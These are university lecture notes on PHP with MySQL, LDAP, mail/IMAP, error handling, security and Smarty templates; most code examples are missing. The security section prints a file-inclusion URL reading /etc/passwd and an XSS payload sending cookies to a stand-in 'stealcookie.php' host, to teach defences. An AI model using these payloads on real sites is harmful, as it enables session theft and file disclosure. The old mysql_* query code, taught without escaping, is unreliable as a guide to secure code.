OSS_UNIT_5
description
Transcript of OSS_UNIT_5
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
1 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Working with MySql Database in PHP
MySQL is a relational database often used to store data for web sites working in
conjunction with PHP. MySQL was built using the SQL base and released as an open source
database system. Because of its popularity, it is highly supported with PHP. Interaction to
MySQL database using PHP is very simple and includes only few steps.
The basic steps of performing the operations in MySql using PHP are:
Connect to the database.
Select the database to use.
Build a SQL statement.
Perform the database operations using SQL queries.
Display the results.
Close the database connection
When connecting to a MySQL database, we will use two new resources. The first is
the link identifier that holds all of the information necessary to connect to the database for an
active connection. The other resource is the results resource. It contains all information
required to retrieve results from an active database querys result set.
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
2 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Step 1: Connect to the Database
Before performing any operations on the database, we must first connect to the
database using a function mysql_connect() and check to make sure that theres a connection.
This function opens a connection to MySQL server. The general syntax of mysql_connect() is
Syntax : mysql_connect($hostname, $username, $password);
Parameter Description
Server name Optional. Specifies the server to connect to. Default value is
"localhost:3306"
username Optional. Specifies the username to log in with. Default value is the name
of the user that owns the server process
password Optional. Specifies the password to log in with. Default is ""
Example code to connect to MySql database in PHP is:
Step 2: Selection of database
The next step is to select which database to use with the mysql_select_db( ) function.
It takes two parameters: the database name and, optionally, the database connection. If we
dont specify the database connection, the default is the connection from the last
mysql_connect(). The general syntax of is mysql_select_db( ) is
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
3 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Syntax:
mysql_select_db($database);
Example code to select a MySql database is
Step 3: Build a SQL Statement
Building a SQL query is as easy as setting a variable with the SQL Query string. We
need to use a valid DML or DDL or DCL SQL query, or MySQL returns with an error when
we execute the query.
Step 4: Performing Operations on database
We can perform various types operations on the database by using mysql_query( )
function. It takes two parameters: the query and, optionally, the database link and returns the
different types of data depending on the SQL statement type and execution status.
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
4 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Returning FALSE, if the execution failed.
Returning a Result Set object, if the execution is successful on a SELECT statement
Returning TRUE, if the execution is successful on other types of SQL statements.
Example code to execute a Select query on database
Step 5: Fetching and Displaying the results
Once the database query is executed, the results are available in the resource returned
by mysql_query( ). To access the data from that resource, it requires one of the mysql_fetch
functions to make the data fully available to PHP.
The fetching functions are as follows:
mysql_fetch_row( ): Returns row as an enumerated array
mysql_fetch_object( ): Returns row as an object
mysql_fetch_array( ): Returns row as an associative array
mysql_result( ): Returns one cell of data
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
5 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Syntax for mysql_fetch_row() is
mysql_fetch_row($data)
Parameter Description
Data Required. Specifies which data pointer to use. The data pointer is the
result from the mysql_query() function
Example
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
6 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
PHP and LDAP
LDAP is an excellent protocol for accessing directory servers, offering a definitive
model for storing, retrieving, manipulating, and protecting directory data which consists of
four key models:
Information
LDAP defines the structure of information stored in a directory server. Generally it
follows tree like structure for the representation of information.
Naming
LDAP offers a well-defined structure for determining how LDAP information is
navigated, identified, and retrieved. This structure is known as a common directory structure.
Examples of such entities include plant and animal taxonomies, corporate organizational
hierarchies and family trees.
Function
LDAP defines what can be done to information stored in a directory server, specifying
how data can be retrieved, inserted, updated, and deleted. Furthermore, LDAP defines both
the format and the transport method used for communication between an LDAP client and
server.
Security
LDAP offers a scheme for determining how and by whom the information stored in
an LDAP directory is accessed. Numerous access levels are offered, offering access-privilege
levels like read, insert, update, delete, and administrative. Also, the Transport Layer Security
(TLS) extension to LDAPv3 offers a secure means for authenticating and transferring data
between the client and server through the use of encryption.
Example LDAP Directory Structure
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
7 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Using LDAP from PHP
PHP has the capability with a full-featured API to connect to, and communicate with,
LDAP directory servers.
Connecting to the LDAP Server
We must first establish a connection to the server before any interaction can begin.
PHPs LDAP server connection function is known as ldap_connect().
ldap_connect()
resource ldap_connect ([string hostname [, int port]])
The ldap_connect() function establishes a connection to the LDAP server specified
by hostname on port port. If the ldap:// is used, then LDAPs standard port 389 is used. If the
connection is successful, a link identifier is returned; on error, FALSE is returned. A simple
usage example is
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
8 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Binding to the LDAP Server
Once a successful connection has been made to the LDAP server, we need to pass a
set of credentials. These credentials include a username, Relative Distinguished Name, and a
password.
ldap_bind()
boolean ldap_bind (resource link_id [, string bind_rdn [, string bind_pswd]])
Proper credentials are often required before data can be retrieved or manipulated. This
is accomplished using ldap_bind(). This function requires the link_id returned from
ldap_connect(), and likely a username and password.
For example
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
9 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
link_identifier
An LDAP link identifier, returned by ldap_connect().
base_dn
The base Distinguished Name (DN Name) for the directory.
filter
The search filter can be simple or advanced, using Boolean operators.
attributes
If the attributes parameter is not explicitly assigned, all attributes will be returned for
each entry, which is inefficient if were not going to use all of them.
attrsonly
Should be set to 1 if only attribute types are retrieved. If set to 0 both attributes types
and attribute values are fetched which is the default behavior.
sizelimit
Enables us to limit the count of entries fetched. Setting this to 0 means no limit.
timelimit
Sets the number of seconds how long is spend on the search. Setting this to 0 means
no limit.
deref
Specifies how aliases should be handled during the search. It can be one of the
constants like LDAP_DEREF_NEVER, LDAP_DEREF_SEARCHING,
LDAP_DEREF_FINDING, DAP_DEREF_ALWAYS
Working with Entries
An LDAP entry can be very similar to database row, consisting of both attributes and
corresponding values. Several functions are available for retrieving entries of a result set.
ldap_get_entries()
array ldap_get_entries (resource link_id, resource result_id)
The ldap_get_entries() function offers an easy way to place all members of the result
set into a multidimensional array. The following list offers the numerous items of information
that can be derived from this array:
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
10 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
return_value["count"]: The total number of retrieved entries
return_value[n]["dn"]: The DN of the nth entry in the result set
return_value[n]["count"]: The total number of attributes available in the nth entry of
the result set
return_value[n]["attribute"]["count"]: The number of items associated with the nth
entry of attribute
For example
Closing the LDAP Server Connection
After we have completed all of our interaction with the LDAP server, we should clean
up and properly close the connection. One function, ldap_unbind(), is available for doing
just this.
ldap_unbind()
boolean ldap_unbind (resource link_id)
The ldap_unbind() function terminates the LDAP server connection associated with
link_id.
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
11 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
A usage example follows:
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
12 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
mail() function
boolean mail(string to, string subject, string message [, string addl_headers [,
string addl_params]])
The mail() function can send an e-mail with a subject of subject and a message
containing message to one or several recipients denoted in to. We can tailor many of the e-
mail properties using the addl_headers parameter, and can even modify the SMTP servers
behavior by passing extra flags via the addl_params parameter.
For example
Sending an E-Mail to Multiple Recipients
Sending an e-mail to multiple recipients is easily accomplished by placing the
comma-separated list of addresses within the to parameter. For example
We can also send to cc: and bcc: recipients, by modifying the corresponding headers.
For example
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
13 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Sending an Attachment
To send an email with attachment we need to use the multipart/mixed MIME type
that specifies the mixed types will be included in the email. Moreover, we want to use
multipart/alternative MIME type to send both plain-text and HTML version of the email.
For example
setFrom('Jason ');
$mail->setReturnPath('[email protected]');
// Set the Subject
$mail->setSubject('Test with attached email');
// Set the body
$mail->setText("Please find attached Chapter 16. Thank you!");
// Retrieve a file for attachment
$attachment = $mail->getFile('chapter16.doc');
// Attach the file, assigning it a name and a corresponding Mime-type.
$mail->addAttachment($attachment, 'chapter16.doc', 'application/vnd.ms-word');
// Send the email to [email protected]
$result = $mail->send(array('[email protected]'));
%>
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
14 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Retrieving Messages from mail server
For retrieving the messages, we can use POP3 or IMAP protocols. Generally PHP
offers a powerful range of functions for communicating with the IMAP protocol. These
functions are used for establishing and closing the IMAP connection, retrieving messages,
composing a message, sending a message, mailbox administration.
Establishing and closing IMAP connection
Before we do anything with the IMAP protocols, we need to establish a server
connection. Once weve completed the necessary tasks, we should close the connection.
imap_open()
resource imap_open(string mailbox, string username, string pswd [, int options])
The imap_open() function establishes a connection to an IMAP mailbox specified by
mailbox, returning an IMAP stream on success and FALSE otherwise.
For example
// Open an IMAP connection
$ms = imap_open("{imap.example.com:143/imap/notls}","jason","mypswd");
imap_close()
boolean imap_close(resource msg_stream [, int flag])
The imap_close() function closes a previously established stream, specified by
msg_stream. It accepts one optional flag, CL_EXPUNGE, which destroys all messages
marked for deletion upon execution. An example follows:
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
15 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Retrieving Messages
For retrieving the messages from mail box, we have to use the functions like
imap_fetchoverview() and imap_fetchbody() functions.
imap_fetchoverview()
array imap_fetchoverview(resource msg_stream, string sequence [, int options])
The imap_fetchoverview() function retrieves the message headers for a particular
sequence of messages, returning an array of objects. If the optional options flag is set to
FT_UID, then it is assumed that the msg_number is a UID. Each object in the array consists
of 14 attributes:
answered: Determines whether the message is flagged as answered
date: The date the message was sent
deleted: Determines whether the message is flagged for deletion
draft: Determines whether the message is flagged as a draft
flagged: Determines whether the message is flagged
from: The sender
message-id: The Message-ID header
msgno: The messages message sequence number
recent: Determines whether the message is flagged as recent
references: This messages referring Message-ID
seen: Determines whether the message is flagged as seen
size: The messages size, in bytes
subject: The messages subject
uid: The messages UID
imap_fetchbody()
string imap_fetchbody(resource msg_stream, int msg_number, string part_number
[,flags options])
The imap_fetchbody() function retrieves a particular section (part_number) of the
message body identified by msg_number, returning the section as a string. If we leave
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
16 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
part_number blank, by assigning it an empty string, this function returns the entire message
text. The following example retrieves the entire message:
Debugging and Error Handling
One of the features of PHP is its comprehensive error-handling functionality. We can
control many aspects of how errors are triggered and handled.
Types of Errors
There are a number of different error types that may be triggered in PHP. Some of
these can be recovered from, while others cannot that is, some errors will cause the current
script execution to immediately halt. These errors are defined by specific constants.
The following list is some of the PHP Error Predefined Constants.
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
17 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Configuration Directives for Error Reporting
When one of the errors occurs, whether or not it is reported is determined by the
error_reporting setting.
Method 1 :We can set this either in php.ini
Method 2: We can set it in the web server configuration (such as in httpd.conf or a
.htaccess file)
Method 3: We can set it at runtime that is, from within our PHP script.
Method 1:
If we set the error level in the php.ini, we can combine the error constants into a
bitwise mask. For example
error_reporting = E_ALL & ~E_NOTICE ; all errors and not notices
error_reporting = E_WARNING | E_NOTICE ; warnings or notices
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
18 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Method 2:
If we set the error level in httpd.conf or in .htaccess, these constant names do not
exist. We must use their corresponding integer values instead.
For example
# this sets E_WARNING | E_NOTICE (2 | 8)
php_value error_reporting 10
Method 3:
To set at runtime we can use either ini_set() or error_reporting().
For example
Error Reporting Mechanisms
There are essentially two ways that the errors are reported:
1. To the screen (or end-user's browser)
2. To a log file
It is recommended that displaying errors to the end-user is only ever used in
development or for debugging. Production web sites should write errors to log files and
display graceful messages to the end-user.
Method 1:
As we develop applications, having errors displayed in the browser is a useful way to
receive immediate feedback, and this can speed up the development process
If an application in production, displaying errors on end users browser, vital
information about the application is revealed to the public. We should disable display_errors
in production.
In an httpd.conf or .htaccess file we can disable this with the following:
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
19 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
php_value display_errors Off
Method 2:
To log errors to the file system, enable the log_errors setting. By default this will
write errors to the server's error log. We can use a different log file by setting the error_log
directive in either httpd.conf or .htaccess file.
For example
php_value log_errors On
php_value error_log /path/to/site/logs/php-errors.log
Triggering our Own Errors
It is possible to trigger PHP errors explicitly by using the trigger_error() function.
The first argument is a descriptive error message and the second argument is the type of
error.
The typical scenario where we would trigger our own errors is when writing a custom
PHP library that others can use. We can trigger errors in situations where the library isn't
being correctly used.
For example
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
20 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
PHP Security
Its important to understand that PHP itself is neither secure nor insecure. The security
of our web applications is entirely determined by the PHP code. There are several common
issues that can lead to insecure scripts, such as filenames, file uploads, and the eval( )
function. Some problems are solved through code (e.g., checking filenames before opening
them), while others are solved through changing PHPs configuration.
Global Variables and Form Data
When register_globals is enabled in the php.ini file, then anything passed in a GET
or POST gets automatically translated into a variable in PHP.
For example:
If the web server receives the request like the following URL
http://www.domain.com/vars.php?myvar=123
Without any further coding, this would automatically get turned into a variable which
is available to the rest of our PHP code like the following
$myvar //with a value of 123
With register_globals OFF, data passed in via GET or POST is NOT automatically
translated into a variable, rather, we need to request it using the Super globals $_GET,
$_POST, and $_REQUEST, etc.
Include Files
PHP allows us to include files in our script via include( ), include_once( ),
requires(), and requires_once( ). This is convenient and aids maintainability and reuse but
is dangerous. Suppose we have a script that includes several HTML file and displays those in
the proper layout like the following:
If someone were to pass the $layout variable through a GET like the following
http://example.com/leftframe.php?layout=/etc/passwd
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
21 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Then it might happen to reveal the password file contents to intruder. So we must take
care while including the files in PHP file. There are several solutions to the problem of
checking filenames. We can disable remote file access, check filenames with realpath( ) and
basename(), and use the open_basedir option to restrict file system access.
Restrict File system Access to a Specific Directory
If our application must operate on the file system, we can set the open_basedir option
to further secure the application by restricting access to a specific directory. If open_basedir
is set in php.ini, PHP limits file system and I/O functions so that they can operate only within
that directory or any of its subdirectories.
For example:
open_basedir = /some/path
With this configuration in effect, the following function calls succeed:
unlink("/some/path/unwanted.exe");
include("/some/path/less/travelled.inc");
But these generate runtime errors:
$fp = fopen ("/some/other/file.exe", "r");
$dp = opendir("/some/otherpath/../other/file.exe");
Cross Site Scripting (XSS)
Cross site scripting is one of the more prevalent security flaws found within Web
applications today. XSS occurs "when an attacker uses a web application to send malicious
code, generally in the form of a browser side script, to a different end user." This means that
an attacker is submitting code, for example, Java script, within a form field that could
potentially redirect information, such as cookies, which store a username and password to an
unknown location.
Here is an example of a simple script vulnerable to XSS and is used to fetch a news
item based on an ID:
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
22 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
If $_GET['id'] contains a number, then the script will run as intended. But if it
contains the following code:
window.location.href = "http://domain.com/stealcookie.php?c=' +
document.cookie;
If an attacker passed this simple Javascript into the $_GET['id'] variable and
convinced a user to click it, then the script would be executed and be used to pass the user's
cookie data onto the attacker, allowing them to log in as the user.
Prevention Mechanisms from XSS attacks
To prevent XSS attacks, we need to filter user input, removing it of HTML tags so
that no Java script can be run. The easiest way to do this is with the following PHP's built in
function
strip_tags( ): Used to remove HTML from a string rendering it harmless.
htmlentities( ): Used to convert < and > to < and > respectively, if we do not
want to remove HTML from a string.
PHP Templates
A templating system provides a way of separating the code in a web page from the
layout of that page. In larger projects, templates can be used to allow web designers to deal
exclusively with designing web pages and programmers to deal exclusively with
programming. The basic idea of a templating system is that the web page itself contains
special markers that are replaced with dynamic content. A web designer can create the
HTML for a page layout, using the appropriate markers for different kinds of dynamic
content that are needed. The programmer is responsible for creating the code that generates
the dynamic content for the markers.
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
23 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW
Smarty is a template engine for PHP, facilitating the separation of presentation
(HTML/CSS) from application logic. This implies that PHP code is application logic, and is
separated from the presentation. Smarty offers a powerful array of features like
Powerful presentational logic: Smarty offers constructs capable of both
conditionally evaluating and iteratively processing data.
Template compilation: To eliminate costly rendering overhead, Smarty converts its
templates into comparable PHP scripts by default, resulting in a much faster rendering
upon subsequent calls. Smarty is also intelligent enough to recompile a template if its
contents have changed.
Caching: Smarty also offers an optional feature for caching templates. Caching
differs from compilation in that enabling caching also prevents the respective logic
from even executing, instead of just rendering the cached contents.
Highly configurable and extensible: Smartys object-oriented architecture allows us
to modify and expand upon its default behavior.
Secure: Smarty offers a number of features intended to shield the server and the
application data from potential compromise by the designer.
Using Smarty
Since Smarty separates PHP from HTML, there are two files required one
contains the presentation code: an HTML template, including Smarty variables and tags such
as {$title_text|escape}, {$body_html}, and second one is PHP file that contains business
logic.
For example
The first file called template file where Smarty variables and tags are used as
placeholder for dynamic content to be replaced by PHP application logic.
-
OPEN SOURCE SOFTWARE UNIT - V IV IT
24 DEPARTMENT OF INFORMATION TECHNOLOGY - SVECW